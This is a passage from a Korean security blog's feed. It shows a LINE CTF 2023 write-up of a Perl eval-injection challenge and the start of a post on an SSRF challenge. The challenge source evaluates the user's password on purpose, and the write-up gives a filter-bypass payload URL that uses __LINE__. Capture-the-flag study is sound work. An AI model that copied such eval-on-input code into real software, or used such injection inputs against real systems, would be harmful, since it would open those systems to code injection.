&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;Too long :(&quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# 입력값은 숫자, 영대소문자, '_', '-'&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #009966; font-style: italic;&quot;&gt;/[^0-9a-zA-Z_-]/&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;Illegal character :(&quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# 숫자, 영대소문자, 특수문자(_, -) 3가지 종류 모두 포함&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;!~&lt;/span&gt; &lt;span style=&quot;color: #009966; font-style: italic;&quot;&gt;/[0-9]/&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;||&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;!~&lt;/span&gt; &lt;span style=&quot;color: #009966; font-style: italic;&quot;&gt;/[a-zA-Z]/&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;||&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;!~&lt;/span&gt; &lt;span style=&quot;color: #009966; font-style: italic;&quot;&gt;/[_-]/&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;Weak password :(&quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# 숫자, 특수문자(_, -) 바로 뒤에 b, o, x, e 불가&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# Hex, Octal 등 다른 진수를 입력할 수 있기 때문&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #009966; font-style: italic;&quot;&gt;/[0-9_-][boxe]/i&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;Do not punch me :(&quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# 기본 선언된 문자열 사용 불가&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #009966; font-style: italic;&quot;&gt;/AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|pipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|say|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|tell|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;I know eval injection :(&quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# Mx. squ1ffy 문자열의 각 문자 포함 불가&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #009966; font-style: italic;&quot;&gt;/[Mx. squ1ffy]/i&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;You may have had one too many Old Pal :(&quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# eval(&quot;$pw == 20230325&quot;) 이 TRUE가 되야함&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# $pw가 20230325가 아니라 입력된 값의 실행 결과(eval 함수)가 TRUE&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #000066;&quot;&gt;eval&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;$pw == 20230325&quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;Congrats! Flag is LINECTF{redacted}&quot;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;wrong password :(&quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링을 우회하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;eval 인젝션을 발생시켜&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력값이 20230325가 되도록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해야하는 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숫자만 입력할 수 있으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 만들겠지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영문자와 '-', '_' 또한 포함되야 하므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 고민과 시도를 하던 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;특수 변수&lt;/b&gt;&lt;/u&gt;를&amp;nbsp;알게 되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(참조: &lt;a href=&quot;https://www.w3big.com/ko/perl/perl-special-variables.html#gsc.tab=0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.w3big.com/ko/perl/perl-special-variables.html#gsc.tab=0&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;특수 변수 예시(아래 예시보다 많음):&lt;br /&gt;&lt;/b&gt;- __END__: 스크립트의 논리적 끝&lt;br /&gt;- __FILE__:&amp;nbsp; 현재 파일 이름&lt;br /&gt;&lt;b&gt;- __LINE__: 현재 행 번호&lt;/b&gt;&lt;br /&gt;- __PACKAGE__: 현재 패키지 이름&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 필요한 건&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;20230325를 만들기 위한 숫자이므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;__LINE__ 을 사용했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;/cgi-bin/main.pl?password=20230326-__LINE__&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWEv42/btr8vsV6Ldb/hQEj4SvAN8y1e1fdDKQ8y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWEv42/btr8vsV6Ldb/hQEj4SvAN8y1e1fdDKQ8y1/img.png&quot; data-alt=&quot;Solved!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWEv42/btr8vsV6Ldb/hQEj4SvAN8y1e1fdDKQ8y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWEv42%2Fbtr8vsV6Ldb%2FhQEj4SvAN8y1e1fdDKQ8y1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;113&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;166&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Solved!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/CTF</category>
      <category>CTF</category>
      <category>LINECTF2023</category>
      <category>writeup</category>
      <category>문제풀이</category>
      <category>해킹대회</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/178</guid>
      <comments>https://chmodi.tistory.com/178#entry178comment</comments>
      <pubDate>Fri, 7 Apr 2023 11:15:17 +0900</pubDate>
    </item>
    <item>
      <title>[Line CTF 2023 Write Up] WEB 1번: Baby Simple GoCurl</title>
      <link>https://chmodi.tistory.com/177</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 CTF의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 분야 1번 문제 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전형적인 SSRF 문제로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부에서만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접근 가능한 페이지에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 획득하는 문제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
